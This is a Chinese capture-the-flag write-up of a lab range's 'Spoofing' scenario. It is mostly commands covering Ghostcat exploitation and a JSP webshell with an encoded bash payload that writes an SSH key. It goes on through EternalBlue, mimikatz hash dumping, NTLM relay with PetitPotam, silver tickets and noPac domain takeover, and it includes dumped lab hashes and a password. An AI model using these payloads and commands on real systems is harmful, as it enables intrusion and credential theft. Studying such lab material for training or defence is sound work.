工作期间某天项目经理找到,需要给客户录一个靶场的WP要求写详细一些过程,项目经理说云镜难度还是可以的,所以丢了一个Spoofing。但尴尬的是,当时平没有很快完成任务,实在是姿势盲区了(本人太菜了。
拿到目标ip 47.92.146.61 nmap扫端口。
我们首先访问8080 发现一个未授权的后台,但是基本没有任何功能
dirsearch进行目录扫描
存在一些目录
http://47.92.146.61:8080/docs/
访问可得知Tomcat 9.0.3 + ajp13
存在
https://github.com/00theway/Ghostcat-CNVD-2020-10487
python3 ajpShooter.py http://47.92.146.61:8080 8009 /WEB-INF/web.xml read
用此脚本读取/WEB-INF/web.xml
进行漏洞验证。
利用成功。并且内容中的 url-pattern 路径我们可以挨个访问一下
http://47.92.146.61:8080/UploadServlet
发现一处上传点(dirsearch是没有直接扫到的,可以加入到自己的字典中)
注意这里由于靶机问题重启 靶机ip从 47.92.146.61 变为了 39.98.183.3
由于上面扫描我们发现开了22端口
首先本机生成一对公私钥,并如下构造 大致内容就是将公钥写到 /root/.ssh/authorized_keys
下面
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjE5yG8ayo88aGqr9oNOa4sfLHRL+gPW+BRQUJiiXymM9P1Pu46xc+ITjXndvFUm/LjKwcmlqSPI7EWIEFwWzxPfNeWpjqJSYb6KkYgf3n+zvvKmX+A6CDZZ4Kl0ABV+8dkYML/Jz5IQql8YdAgKCpHMoiV/bGwVTkCDRhuUXL1TW2m7pwXUw9RWM3i8G8WKnpMfQtsYXIo0Qatxx0Lxq3bpIEdkSKGTptGyCuvZCouUd5cpUpJJ4yrW8I0Jg9Zqqifsc2iRrwK6zcW7pHkLAkksEZC2DyM78iR5Fl4Z/PKiJHWYhThTFxByVsikp31q2gfATCx1vjmz6tm3AA/BPkrWtJ1xY9izsjlu46LdhTMD1U8BnJUhSuTUd2lAKjp9qKklp15wfdBbDk4SxWa6BNtwo6v1VDIfRkmPMhzU5ynm1OQsOLJKrRJHt0oJfrabD2e6UZ+DUSyA8Ha2E1FJiXbykqa6vV9THb6LltArhhFNikR42cqxUH1Q/qoM8bG00=" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
在进行base64加密
ZWNobyAic3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDakU1eUc4YXlvODhhR3FyOW9OT2E0c2ZMSFJMK2dQVytCUlFVSmlpWHltTTlQMVB1NDZ4YytJVGpYbmR2RlVtL0xqS3djbWxxU1BJN0VXSUVGd1d6eFBmTmVXcGpxSlNZYjZLa1lnZjNuK3p2dkttWCtBNkNEWlo0S2wwQUJWKzhka1lNTC9KejVJUXFsOFlkQWdLQ3BITW9pVi9iR3dWVGtDRFJodVVYTDFUVzJtN3B3WFV3OVJXTTNpOEc4V0tucE1mUXRzWVhJbzBRYXR4eDBMeHEzYnBJRWRrU0tHVHB0R3lDdXZaQ291VWQ1Y3BVcEpKNHlyVzhJMEpnOVpxcWlmc2MyaVJyd0s2emNXN3BIa0xBa2tzRVpDMkR5TTc4aVI1Rmw0Wi9QS2lKSFdZaFRoVEZ4QnlWc2lrcDMxcTJnZkFUQ3gxdmptejZ0bTNBQS9CUGtyV3RKMXhZOWl6c2psdTQ2TGRoVE1EMVU4Qm5KVWhTdVRVZDJsQUtqcDlxS2tscDE1d2ZkQmJEazRTeFdhNkJOdHdvNnYxVkRJZlJrbVBNaHpVNXlubTFPUXNPTEpLclJKSHQwb0pmcmFiRDJlNlVaK0RVU3lBOEhhMkUxRkppWGJ5a3FhNnZWOVRIYjZMbHRBcmhoRk5pa1I0MmNxeFVIMVEvcW9NOGJHMDA9IiA+PiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5cwoKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg==
所以我们上传Spoofing.txt文件 内容为
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,ZWNobyAic3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDakU1eUc4YXlvODhhR3FyOW9OT2E0c2ZMSFJMK2dQVytCUlFVSmlpWHltTTlQMVB1NDZ4YytJVGpYbmR2RlVtL0xqS3djbWxxU1BJN0VXSUVGd1d6eFBmTmVXcGpxSlNZYjZLa1lnZjNuK3p2dkttWCtBNkNEWlo0S2wwQUJWKzhka1lNTC9KejVJUXFsOFlkQWdLQ3BITW9pVi9iR3dWVGtDRFJodVVYTDFUVzJtN3B3WFV3OVJXTTNpOEc4V0tucE1mUXRzWVhJbzBRYXR4eDBMeHEzYnBJRWRrU0tHVHB0R3lDdXZaQ291VWQ1Y3BVcEpKNHlyVzhJMEpnOVpxcWlmc2MyaVJyd0s2emNXN3BIa0xBa2tzRVpDMkR5TTc4aVI1Rmw0Wi9QS2lKSFdZaFRoVEZ4QnlWc2lrcDMxcTJnZkFUQ3gxdmptejZ0bTNBQS9CUGtyV3RKMXhZOWl6c2psdTQ2TGRoVE1EMVU4Qm5KVWhTdVRVZDJsQUtqcDlxS2tscDE1d2ZkQmJEazRTeFdhNkJOdHdvNnYxVkRJZlJrbVBNaHpVNXlubTFPUXNPTEpLclJKSHQwb0pmcmFiRDJlNlVaK0RVU3lBOEhhMkUxRkppWGJ5a3FhNnZWOVRIYjZMbHRBcmhoRk5pa1I0MmNxeFVIMVEvcW9NOGJHMDA9IiA+PiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5cwoKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg==}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>");%>
目的是将Spoofing.txt文件代码执行,将我们的公钥写到靶机里面
最终利用漏洞Ghostcat执行此文件
执行成功公钥写入,直接登陆靶机服务器即可
flag{41af3ec9-9043-42bc-9fb6-06d6a5aa5231}
ifconfig得到 当前Ubuntu ip 为 172.22.11.76
接下来我们重点看下内网,利用fscan扫一下看看
将fscan上传到靶机
scp -i id_rsa /Users/sch0lar/Downloads/fscan_386 root@39.98.183.3:/
fscan扫C段
./fscan_386 -h 172.22.11.1/24
发现内网中其他三台主机 并且172.22.11.6为域控
172.22.11.6 DC XIAORANG\XIAORANG-DC
172.22.11.26 XIAORANG\XR-LCM3AE8B
172.22.11.45 XIAORANG\XR-DESKTOP
经fscan扫描发现 172.22.11.45 可能存在永恒之蓝漏洞。
机器出网我们进行反向代理
内网成功访问,说明代理成功。msf 17010去打一下172.22.11.45 这台机器
msf设置代理
setg Proxies socks5:103.20.221.39:9999
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 172.22.11.45
set lport 1433
注意这里默认的4444会话不能正常建立,经测试使用一些常见端口 1433 3306 80即可
Dump hash
本地凭据
Administrator:500:aad3b435b51404eeaad3b435b51404ee:48f6da83eb89a4da8a1cc963b855a799:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
msf中加载 kiwi load kiwi
creds_all
获取域凭据
XR-DESKTOP$ XIAORANG 849af87004aedcb12d26d3646e4d1809 6cdc7983267c995623cf242b70869f295a22fccc
yangmei XIAORANG 25e42ef4cc0ab6a8ff9e3edbbda91841 6b2838f81b57faed5d860adaf9401b0edb269a6f 明文 xrihGHgoNZQ
通过有了 admin和admin hash 可直接psexec 登录
proxychains4 psexec.py Administrator@172.22.11.45 -hashes :48f6da83eb89a4da8a1cc963b855a799 -codec gbk
flag{b326254f-c786-4752-92ce-f511ed7e959d}
把域用户 yangmei加入该机器的本地管理员
确定域控ip为
域信息收集
proxychains4 -q bloodhound-python -u yangmei -p xrihGHgoNZQ -d xiaorang.lab --dns-tcp -ns 172.22.11.6 -c all --zip
https://github.com/Porchetta-Industries/CrackMapExec
Petitpotam 扫描
proxychains4 cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M petitpotam
https://github.com/Hackndo/WebclientServiceScanner
NTLM中继过程中需要使用HTTP协议来完成中继请求和响应,而Webclient服务包含了HTTP协议相关,所以开启 Webclient 服务可以为 NTLM 中继提供必要的功能支持
ssh -i id_rsa root@47.92.254.136 -D 0.0.0.0:1080 -R \*:79:127.0.0.1:80
加多一条socat,让流量 0.0.0.0:80 转发到 127.0.0.1:79,再反向转发回客户端本地的80 ,变相使80监听在0.0.0.0
nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &
简单说也就是当我们访问ubuntu的80端口会被转发到ubuntu的79端口,ubuntu的79端口会转发到我们本机的80端口
proxychains4 python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
使用Petitpotam触发 XR-LCM3AE8B 认证到172.22.11.76 (ubuntu)
proxychains4 python3 Petitpotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26
可以看到,已经完成RBCD攻击了,接下来就是直接申请XR-LCM3AE8B的银票了
申请XR-LCM3AE8B CIFS票据
proxychains4 python3 getST.py -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :849af87004aedcb12d26d3646e4d1809 xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6
这里的hash是前面通过172.22.11.45 mimikatz抓取到的
构造银票了我们psexec连接
KRB5CCNAME=/Users/sch0lar/sec/impacket/examples/administrator.ccache proxychains4 python3 psexec.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 -codec gbk
flag{7cd97e18-b25b-42f3-8006-f6d0fc2cbd42}
smbclient.py 传 mimikatz
KRB5CCNAME=/Users/sch0lar/sec/impacket/examples/administrator.ccache proxychains4 python3 smbclient.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26
cd C:\Windows\Temp
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
zhanghui 1232126b24cdf8c9bd2f788a9d7c7ed1
nopac,只有zhanghui能成功,zhanghui在MA_Admin组,MA_Admin组对computer 能够创建对象,但是在bloodhound没看到
AdFind.exe -b "CN=Computers,DC=xiaorang,DC=lab" nTSecurityDescriptor -sddl+++
需要补这一张图
Bloodhound看不到,主要原因是没把CreateChild采集进json
回到nopac,加上 create-child 参数
proxychains4 python3 noPac.py xiaorang.lab/zhanghui -hashes :1232126b24cdf8c9bd2f788a9d7c7ed1 -use-ldap -create-child -dc-ip 172.22.11.6
使用nopac申请到的cifs票据登录进入DC,flag04在 C:\users\administrator\flag\flag04.txt
export KRB5CCNAME=/Users/sch0lar/sec/noPac/Administrator_xiaorang-dc.xiaorang.lab.ccache
proxychains4 psexec.py xiaorang.lab/administrator@xiaorang-dc.xiaorang.lab -k -no-pass -dc-ip 172.22.11.6 -target-ip 172.22.11.6 -codec gbk
flag{683570c8-a6dc-45c2-95aa-9e9b171ed400}
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有